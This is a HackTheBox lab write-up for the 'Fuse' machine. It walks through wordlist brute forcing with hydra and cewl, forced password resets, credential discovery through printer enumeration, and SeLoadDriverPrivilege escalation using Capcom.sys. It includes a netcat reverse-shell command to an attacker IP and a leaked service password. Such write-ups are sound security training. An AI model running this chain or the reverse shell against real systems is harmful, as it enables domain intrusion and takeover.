HackTheBox - Retired - Fuse
Recon
So in a bit of a change up from my normal routine instead of nmap directly I tried a new mutli-threaded scanning tool named threader-3000. It does the scan very fast
As you can see it did the initial scan in just under 2 minutes which is way faster than just nmap by itself and then based on those ports it suggests another nmap scan against what it found on the open ports.
Threader300 suggested this nmap scan that I than ran
The results
So this definitely looks like a windows box we see
Dns, smb,kerberos,ldap, http, wsman so maybe even a domain controller
Lets start poking around and see if we can see anything interesting.
No anonymous smb shares
Well port 80 gave us a bit more info.
When I tired to pull up fuse.htb it tried to redirect to fuse.fabricorp.local which would resolve so I added it to my /etc/hosts and got this.
Some sort of print logging software, we can’t see what exactly was printed but we can get some data leak here about users names and infrastructure.
For example on this page which is the first date listed 29-May-2020
So it looks like this org uses first initial last name for users and we can see these users
And we can see a couple of computer names which might or might not be helpful
I grabbed all this info down because it has the potential to be useful.
Based on the title of the documents it looks like nielsen might be a new account
And travel and thompson are probably members of the IT Department.
I started a hydra scan against bnielson with rockout.txt against smb but didn’t seem to be having any luck so I thought we might run cewl against the site and get any words longer than 4 characters to make a new password list from
So this will scan the website upto 10 directories deep and grab any words longer than 4 characters and include ones that have numbers… you know just in case there is a password with numbers saved in here somewhere.
The resulting list was 146 words so I made a users.txt out of the usernames we found.
And through that to hydra
So here we are giving the list of username we saw to hydra and the list of words found on the website to be possible passwords and writing the output of found passwords to a file named hydra.txt in my working folder
Two password found!!!!
Exploit
Travel and bhult both have Fabricorp01 for their passwords….
Where on the site was that password? It was the name of one of the documents printed
Ok we have a creds so now we get further in our enumeration YAY!!
Lets see if we can see anything with smbclient now
Password must change huh?
Ok how do we do that?
https://serverfault.com/questions/215983/change-windows-ad-password-from-linux
smbpasswd -U <user> -r <IP address of DC>
Ok so we can do
And
I first tried to set the same password
It didn’t like that ok so I’ll do something else from the site so if someone else is trying this box hopefully it won’t screw them up.
I’ll do LONWK019
Well it didn’t like that one either it might be too short… I’m sorry other users on the box right now :)
I ended up using Fabricorp02
I did the same for bhult lets see if we get any smb shares now
So we get
I know the $ shares will only work if he is a administrator on the computer but I’ll try those first
No luck with any of the shares
Ok pretty quickly I realized the machine is resetting the password back to Fabricorp01 fairly quickly…. Like 20 seconds after its changed so damint..
I”m going to need to script this (Very basic python skills means very basic scripting)
Ok after some trial and error I was able to do this quickly enough to get and RPC sessions.
Here is my super basic script, I would just copy the new password to my clipboard and immediately after the script ran try to connect up to rpc using
I grab the users on the machine using enumdomusers
And the groups using enumdomgroups
And here is why some of the password I tried didn’t work when resetting
Password complexity is on.. I figured this out during testing anyway but good to have confirmation.
I’m now going to query each user to see if there is anything interesting in their accounts, sometimes creds are stored in here.
Nothing in the description fields for any of the user accounts…
But this machine is running as a print logging server and possibly a print server.
I tried
Enumprinters and got this output
Oooohhhh that looks like a password for service account $fab@s3Rv1ce$1
There were only two account names that looked like service accounts
Svc-print
Svc-scan
If I were I were to be I’d bet on svc-print so I fired that up with evil-winrm
And we can get the user.txt
Now lets figure out a way to escalate…..
There is an interesting readme.txt in the root of C:
// MFT printing format issue
note to HP engineer:
The "test" directory has been created. For repeated tests while diagnosing this issue, the same folder should be used.
This is a production environment and the "solution" should be developed and confirmed working in your testbed
All changes will be reverted every 2 mins.
Let’s check our privs to see if we can escalate.
I got a bit a nudge to look here, and here is some privileges that aren’t normally given to non-admin users. What is SeloadDriverPrivilege? Basically its the rights to load drivers onto systems…
I found this blog that I followed from here on out.
https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/
So we are going to load Capcom.sys on the system using our nice privileges and then exploit it to do a reverse connection back to our computer
So we need to compile a couple cpp files that are part of this blog.
EOPLOADDRIVER
https://github.com/TarlogicSecurity/EoPLoadDriver/
ExploitCapcom from Tandasat
https://github.com/tandasat/ExploitCapcom
And the capcom.sys driver its self I got from
https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys
EOPLoadDrive just build the way it is
But we are going to have to modify ExploitCapcom
In the cpp it calls cmd.exe to spawn a new process which We aren’t going to be able to get to
So I made .bat file and pointed it to where it's going to be
My RShell.bat is just a call to netcat
C:\temp\circusmonkey\nc64.exe 10.10.14.13 5555 -e cmd.exe
Then compile ExploitCapcom.exe too
Now we need to move these files over to the fuse box.
I’m running the python module SImpleHTTPServer to serve the files up.
Ok first we need to load the driver with the EOPLOADDriver.exe
On FUSE
Now I setup my listener on my kali box to hopefully catch the reverse shell
Now hopefully when we launch our exploit, it will spawn a process as SYSTEM, that will execute our RShell.bat which will talk back to our kali box.
annndddd?
We got our shell
From here we just type C:\users\Administrator\Desktop\root.txt
Comments
Post a Comment